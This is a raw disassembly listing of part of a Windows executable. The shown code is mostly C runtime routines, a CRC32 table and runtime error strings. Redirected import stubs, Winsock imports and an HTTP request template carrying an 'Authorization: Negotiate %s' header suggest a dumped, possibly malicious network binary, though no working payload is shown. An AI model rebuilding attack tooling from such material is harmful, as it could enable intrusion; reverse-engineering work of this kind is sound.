push 0FFFFFFFFh
push offset dword_427D30
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DC010, esi
jnz short loc_4266AC
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427920
mov edi, 100h
push edi
push esi
call near ptr 2660000h
nop
test eax, eax
loc_426680: ; DATA XREF: sub_56616D+1o
jz short loc_42668A
mov dword_4DC010, ebx
jmp short loc_4266AC
; ---------------------------------------------------------------------------
loc_42668A: ; CODE XREF: sub_426636:loc_426680j
push esi
push esi
push ebx
push offset word_4CB88C
push edi
push esi
nop
call near ptr 2670000h
test eax, eax
jz loc_42682B
mov dword_4DC010, 2
loc_4266AC: ; CODE XREF: sub_426636+2Ej
; sub_426636+52j
cmp [ebp+arg_C], esi
jle short loc_4266C1
push [ebp+arg_C]
push [ebp+arg_8]
call sub_42683F
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_4266C1: ; CODE XREF: sub_426636+79j
mov eax, dword_4DC010
cmp eax, 1
jnz short loc_4266E8
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2660000h
nop
jmp loc_42682D
; ---------------------------------------------------------------------------
loc_4266E8: ; CODE XREF: sub_426636+93j
cmp eax, 2
jnz loc_42682B
cmp [ebp+arg_18], esi
jnz short loc_4266FE
mov eax, dword_4DBE94
mov [ebp+arg_18], eax
loc_4266FE: ; CODE XREF: sub_426636+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call near ptr 28611BCh
nop
mov [ebp+var_20], eax
cmp eax, esi
jz loc_42682B
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_426744
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_426744: ; CODE XREF: sub_426636+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_42682B
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 28611BCh
test eax, eax
jz loc_42682B
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2670000h
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_42682B
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4267C7
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_4267C7: ; CODE XREF: sub_426636+17Dj
cmp ebx, esi
jz short loc_42682B
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2670000h
test eax, eax
jz short loc_42682B
test byte ptr [ebp+arg_4+1], 4
jz short loc_426805
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_426827
cmp eax, edi
jl short loc_4267F6
mov eax, edi
loc_4267F6: ; CODE XREF: sub_426636+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41BFD0
add esp, 0Ch
jmp short loc_426827
; ---------------------------------------------------------------------------
loc_426805: ; CODE XREF: sub_426636+1B1j
cmp [ebp+arg_14], esi
jnz short loc_42680E
push esi
push esi
jmp short loc_426814
; ---------------------------------------------------------------------------
loc_42680E: ; CODE XREF: sub_426636+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426814: ; CODE XREF: sub_426636+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
call near ptr 2730000h
nop
mov edi, eax
cmp edi, esi
jz short loc_42682B
loc_426827: ; CODE XREF: sub_426636+1B8j
; sub_426636+1CDj
mov eax, edi
jmp short loc_42682D
; ---------------------------------------------------------------------------
loc_42682B: ; CODE XREF: sub_426636+66j
; sub_426636+B5j ...
xor eax, eax
loc_42682D: ; CODE XREF: sub_426636+ADj
; sub_426636+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426636 endp
; =============== S U B R O U T I N E =======================================
sub_42683F proc near ; CODE XREF: sub_426636+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_42685E
loc_42684F: ; CODE XREF: sub_42683F+1Dj
cmp word ptr [eax], 0
jz short loc_42685E
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_42684F
loc_42685E: ; CODE XREF: sub_42683F+Ej
; sub_42683F+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_42686C
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_42686C: ; CODE XREF: sub_42683F+24j
mov eax, edx
retn
sub_42683F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42686F proc near ; CODE XREF: sub_4265C1+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_4268AF
cmp [ebp+arg_0], 100h
jnb short loc_426893
movzx eax, [ebp+arg_0]
mov ecx, off_43CE7C
mov ax, [ecx+eax*2]
jmp short loc_4268B6
; ---------------------------------------------------------------------------
loc_426893: ; CODE XREF: sub_42686F+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_4268C1
add esp, 18h
test eax, eax
jnz short loc_4268B3
loc_4268AF: ; CODE XREF: sub_42686F+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_4268B3: ; CODE XREF: sub_42686F+3Ej
mov eax, [ebp+var_4]
loc_4268B6: ; CODE XREF: sub_42686F+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_42686F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268C1 proc near ; CODE XREF: sub_42686F+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427D48
push offset sub_423CC0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DC014
xor edi, edi
cmp eax, edi
jnz short loc_426930
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427920
push esi
nop
call near ptr 2620083h
test eax, eax
jz short loc_42690E
mov eax, esi
jmp short loc_42692B
; ---------------------------------------------------------------------------
loc_42690E: ; CODE XREF: sub_4268C1+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset word_4CB88C
push esi
push edi
call near ptr 2630000h
nop
test eax, eax
jz loc_426A72
push 2
pop eax
loc_42692B: ; CODE XREF: sub_4268C1+4Bj
mov dword_4DC014, eax
loc_426930: ; CODE XREF: sub_4268C1+2Fj
cmp eax, 1
jnz short loc_42694C
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2620083h
jmp loc_426A74
; ---------------------------------------------------------------------------
loc_42694C: ; CODE XREF: sub_4268C1+72j
cmp eax, 2
jnz loc_426A72
cmp [ebp+arg_10], edi
jnz short loc_426962
mov eax, dword_4DBE94
mov [ebp+arg_10], eax
loc_426962: ; CODE XREF: sub_4268C1+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 28611BCh
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_426A72
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41BF70
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_4269C0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_4269C0: ; CODE XREF: sub_4268C1+EAj
cmp [ebp+var_2C], edi
jz loc_426A72
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call near ptr 28611BCh
nop
test eax, eax
jz loc_426A72
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41C500
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_426A15
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_426A15: ; CODE XREF: sub_4268C1+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426A72
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_426A29
mov eax, dword_4DBE84
loc_426A29: ; CODE XREF: sub_4268C1+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call near ptr 2630000h
nop
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_426A72
cmp word ptr [esi], 0FFFFh
jnz short loc_426A72
push edi
push ebx
push [ebp+arg_C]
call sub_41D670
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_426A74
; ---------------------------------------------------------------------------
loc_426A72: ; CODE XREF: sub_4268C1+61j
; sub_4268C1+8Ej ...
xor eax, eax
loc_426A74: ; CODE XREF: sub_4268C1+86j
; sub_4268C1+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_4268C1 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_426A88 proc near ; DATA XREF: ___:00427EFCo
; FUNCTION CHUNK AT 0040D76C SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D76C
sub_426A88 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426AA6
mov ecx, [ebp+8]
jmp loc_40D76C
; ---------------------------------------------------------------------------
locret_426AA6: ; CODE XREF: ___:00426A98j
retn
; ---------------------------------------------------------------------------
loc_426AA7: ; DATA XREF: sub_40D340o
mov eax, offset dword_427ED0
jmp loc_41D2FB
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426ABC: ; DATA XREF: ___:00427F2Co
lea ecx, [ebp-1Ch]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426AC4: ; DATA XREF: sub_40D4E2o
mov eax, offset dword_427F00
jmp loc_41D2FB
; ---------------------------------------------------------------------------
align 10h
loc_426AD0: ; DATA XREF: sub_40DA4Fo
mov eax, offset dword_427F30
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426AE2: ; DATA XREF: sub_4260FEo
mov eax, offset dword_427F90
jmp loc_41D2FB
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426AF4: ; DATA XREF: sub_426173o
mov eax, offset dword_428028
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426B06: ; DATA XREF: sub_4261D0o
mov eax, offset dword_42804C
jmp loc_41D2FB
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_426564
; ---------------------------------------------------------------------------
loc_426B18: ; DATA XREF: sub_426218o
mov eax, offset dword_428070
jmp loc_41D2FB
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D76C
; ---------------------------------------------------------------------------
loc_426B2A: ; DATA XREF: sub_42629Ao
mov eax, offset dword_4280D0
jmp loc_41D2FB
; ---------------------------------------------------------------------------
dd 133h dup(0)
dd 2600000h, 2610000h, 2610AD4h, 2610B23h, 2620000h, 2620083h
dd 2630000h, 2630856h, 2640000h, 2640234h, 264092Bh, 2640BC5h
dword_427030 dd 2640C06h ; DATA XREF: ___:004239E2r
dd 2640CEFh, 2640F51h, 2650000h, 2650149h, 2660000h, 2670000h
dd 2680000h, 2680419h, 26809F5h, 2680A2Ch, 2690000h, 269078Ch
dword_427064 dd 2690BE8h ; DATA XREF: sub_41F216:loc_41F247r
dword_427068 dd 2690D25h ; DATA XREF: sub_41E742+240r
dd 77E75CB5h
dword_427070 dd 26A0000h ; DATA XREF: sub_40111D+B8r
; ___:004014FCr ...
dd 26A02FDh, 26B0000h, 26C0000h
dword_427080 dd 26C04BFh ; DATA XREF: sub_40111D+29r
; sub_40C3E8+2E9r ...
dword_427084 dd 26C051Eh ; DATA XREF: ___:004015E2r
; sub_4116D6+32r
dd 26C0722h
dword_42708C dd 26C079Eh ; DATA XREF: sub_419C09+B9r
dd 26C0C98h
dword_427094 dd 26C0CC8h ; DATA XREF: sub_4119F9:loc_411A8Ar
dword_427098 dd 26D0000h ; DATA XREF: ___:loc_4013DCr
dd 26D035Dh, 26D0477h
dword_4270A4 dd 26D0551h ; DATA XREF: sub_409909+2r
dd 26D06B7h, 26D076Ah
dword_4270B0 dd 26D0CBDh ; DATA XREF: ___:0040124Dr
; sub_41AA1E+8Cr
dword_4270B4 dd 26D0DD3h ; DATA XREF: sub_4116D6:loc_4117C2r
dd 26E0000h, 26E0B34h
dword_4270C0 dd 26E0C7Eh ; DATA XREF: sub_409909:loc_409E17r
dword_4270C4 dd 26F0000h ; DATA XREF: sub_409909+11r
; sub_4172C1+60r ...
dd 2700000h, 2710000h, 27105EAh, 2720000h, 77F7E300h, 77F7E21Fh
dd 27204CEh, 2720623h
dword_4270E8 dd 2730000h ; DATA XREF: sub_419177+Fr
; sub_41E0D4+54r
dword_4270EC dd 27310DDh ; DATA XREF: sub_4119F9+Br
dd 273186Ah, 2740000h
dword_4270F8 dd 2740762h ; DATA XREF: sub_4187E0+36r
dd 27409C5h, 2750000h
dword_427104 dd 27505F0h ; DATA XREF: sub_411920+3Ar
; sub_41A1B1+79r
dword_427108 dd 2760000h ; DATA XREF: sub_411827+23r
; sub_41A1B1+3Br
dd 2770000h, 2780000h, 2780B67h, 2790000h, 279072Bh, 27A0000h
dd 27B0000h, 27C0000h, 27C0ABAh, 27C0D9Ah, 27D0000h, 27D016Bh
dd 27D0435h, 27D07BBh, 27E0000h
dword_427148 dd 27E02DEh ; DATA XREF: sub_4172C1+BCr
dd 27F0000h
dword_427150 dd 2800000h ; DATA XREF: sub_417493+21r
; sub_41761C+4Ar
dword_427154 dd 2800B96h ; DATA XREF: sub_417493+10r
; sub_41761C+40r ...
dd 2800C0Ch
dword_42715C dd 2810000h ; DATA XREF: sub_41761C+56r
dd 2810256h, 2820000h, 2830000h, 283060Ah, 2830B93h, 2840000h
dd 2840186h, 2840742h, 2850000h, 2860000h
dword_427188 dd 28611BCh ; DATA XREF: sub_4190A5+13r
; ___:00423A57r
dd 2870000h, 28705ACh, 28709B0h, 2880000h, 2890000h, 28A0000h
dd 28B0000h, 28C0000h, 28C1B8Fh, 28C1BC8h, 28D0000h, 28D0D7Fh
dd 28E0000h, 0
dd 71AB5A01h, 71AB4122h
dword_4271CC dd 71AB1746h ; DATA XREF: sub_4131EC+1DEr
dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah
dd 71AB3ECEh, 71AB5DE2h, 71AB868Dh, 71AB12F8h, 71AB1746h
dd 71AB3E5Dh
dword_4271FC dd 71AB5690h ; DATA XREF: sub_40E9FB+6Ar
dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh
dd 71AB157Eh, 2 dup(0)
dword_427220 dd 0 ; DATA XREF: sub_401070+26r
dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh
dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h
dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh
dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h
dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h
dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h
dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h
dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h
dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh
dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh
dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h
dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh
dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h
dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h
dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh
dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h
dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah
dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh
dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h
dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h
dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh
dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427620 dd 2Eh ; DATA XREF: sub_401ACD+3428o
; sub_401ACD+3514o ...
dword_427624 dd 2Eh ; DATA XREF: sub_401ACD+3850o
; sub_401ACD+388Ao ...
aGetHttp1_0Host db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D4E2+62o
db 'Host: %s',0Dh,0Ah
db 'Authorization: Negotiate %s',0Dh,0Ah
db 0Dh,0Ah,0
align 8
dbl_427668 dq 1.388888888888889e-2 ; DATA XREF: sub_40D2F4+2Fr
dbl_427670 dq 1.666666666666667e-1 ; DATA XREF: sub_40D2F4+15r
dword_427678 dd 0FFFFFFFFh ; DATA XREF: sub_40D340+16Fr
; sub_40D774r ...
align 10h
dbl_427680 dq 1.333333333333333 ; DATA XREF: sub_40D340+79r
dword_427688 dd 2 dup(0) ; DATA XREF: sub_40D4E2+4Do
; sub_40D824+5Bo ...
dbl_427690 dq 9.765625e-4 ; DATA XREF: ___:00416A5Dr
; ___:00416A78r ...
dbl_427698 dq -1.52587890625e-4 ; DATA XREF: sub_417E84+3E5r
dbl_4276A0 dq 3.0517578125e-4 ; DATA XREF: sub_417E84+3C5r
dbl_4276A8 dq -3.0517578125e-4 ; DATA XREF: sub_417E84+342r
; sub_417E84+3A7r
dbl_4276B0 dq 1.52587890625e-4 ; DATA XREF: sub_417E84+271r
dbl_4276B8 dq -1.739501953125e-3 ; DATA XREF: sub_417E84+24Br
; sub_417E84+2D5r ...
dbl_4276C0 dq 3.11279296875e-3 ; DATA XREF: sub_417E84+E1r
dbl_4276C8 dq 3.0517578125e-5 ; DATA XREF: sub_417E84+AEr
; sub_417E84+138r ...
dbl_4276D0 dq 6.103515625e-5 ; DATA XREF: sub_417E84+93r
; sub_417E84+308r
dbl_4276D8 dq 2.288818359375e-3 ; DATA XREF: sub_417E84+21r
dbl_4276E0 dq -3.0517578125e-5 ; DATA XREF: sub_418BD1+2Br
flt_4276E8 dd 9.765625e-4 ; DATA XREF: sub_41AA1E+1B0r
flt_4276EC dd 8.0 ; DATA XREF: sub_41AA1E+1AAr
flt_4276F0 dd 0.0 ; DATA XREF: sub_41AA1E+171r
flt_4276F4 dd 1.0e-3 ; DATA XREF: sub_41AA1E+168r
dbl_4276F8 dq 1.0 ; DATA XREF: sub_41D055+6Cr
; sub_41D19B+6Cr ...
dd 0FFFFFFFFh, 41E2AAh, 41E2BEh
a__global_heap_ db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: ___:0041E5B8o
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: ___:0041E579o
align 4
byte_42773C db 6 ; DATA XREF: sub_41FF3F:loc_41FF96r
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
dd 8000008h, 7000800h, 8
aNull: ; DATA XREF: ___:off_43D094o
unicode 0, <(null)>,0
align 4
aNull_0 db '(null)',0 ; DATA XREF: ___:off_43D090o
align 10h
a_yn db '_yn',0
a_y1 db '_y1',0
a_y0 db '_y0',0
aFrexp db 'frexp',0
align 4
aFmod db 'fmod',0
align 4
a_hypot db '_hypot',0
align 4
a_cabs db '_cabs',0
align 4
aLdexp db 'ldexp',0
align 4
aModf db 'modf',0
align 4
aFabs db 'fabs',0
align 4
aFloor db 'floor',0
align 4
aCeil db 'ceil',0
align 4
aTan db 'tan',0
aCos db 'cos',0
aSin db 'sin',0
aSqrt db 'sqrt',0
align 4
aAtan2 db 'atan2',0
align 10h
aAtan db 'atan',0
align 4
aAcos db 'acos',0
align 10h
aAsin db 'asin',0
align 4
aTanh db 'tanh',0
align 10h
aCosh db 'cosh',0
align 4
aSinh db 'sinh',0
align 10h
aLog10 db 'log10',0
align 4
aPow db 'pow',0
aExp db 'exp',0 ; DATA XREF: ___:off_43D30Co
dbl_427860 dq 0.0 ; DATA XREF: sub_421BFF+8Cr
; sub_421BFF+ACr ...
dbl_427868 dq 4.195835e6 ; DATA XREF: sub_422114+Fr
dbl_427870 dq 3.145727e6 ; DATA XREF: sub_422114+6r
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: sub_422152+Fo
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: sub_422152o
align 10h
aE000 db 'e+000',0 ; DATA XREF: sub_422279+93o
align 4
dword_4278A8 dd 0FFFFFFFFh, 422964h, 42296Eh, 0 ; DATA XREF: sub_4228FD+5o
dword_4278B8 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422A2C+5o
dd offset loc_422AEA
align 8
dd offset sub_422AC8
dd offset sub_422AD2
dword_4278D0 dd 0FFFFFFFFh, 422D1Ah, 422D1Eh, 0 ; DATA XREF: sub_422B62+5o
dword_4278E0 dd 0FFFFFFFFh, 422D7Ch, 422D85h, 0 ; DATA XREF: sub_422D26+5o
dword_4278F0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422DFC+5o
dd offset loc_422E4D
align 10h
dd offset loc_422E39
dd offset loc_422E3D
dword_427908 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_422E52+5o
dd offset loc_422EA3
align 8
dd offset loc_422E8F
dd offset loc_422E93
dword_427920 dd 2 dup(0) ; DATA XREF: sub_4232A8+36o
; sub_4244F4+39o ...
dword_427928 dd 0FFFFFFFFh, 4233B8h, 4233BCh, 0FFFFFFFFh, 42346Ch, 423470h
; DATA XREF: sub_4232A8+5o
dd 746E7572h, 20656D69h, 6F727265h, 2072h, 534F4C54h, 72652053h
dd 0D726F72h, 0Ah, 474E4953h, 72726520h, 0A0D726Fh, 0
dd 414D4F44h, 65204E49h, 726F7272h, 0A0Dh, 32303652h, 2D0A0D38h
dd 616E7520h, 20656C62h, 69206F74h, 6974696Eh, 7A696C61h
dd 65682065h, 0A0D7061h, 0
aR6027NotEnough db 'R6027',0Dh,0Ah
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: ___:off_43D4DCo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_423DD1+119o
align 10h
asc_427BF0 db 0Ah ; DATA XREF: sub_423DD1+F1o
db 0Ah,0
align 4
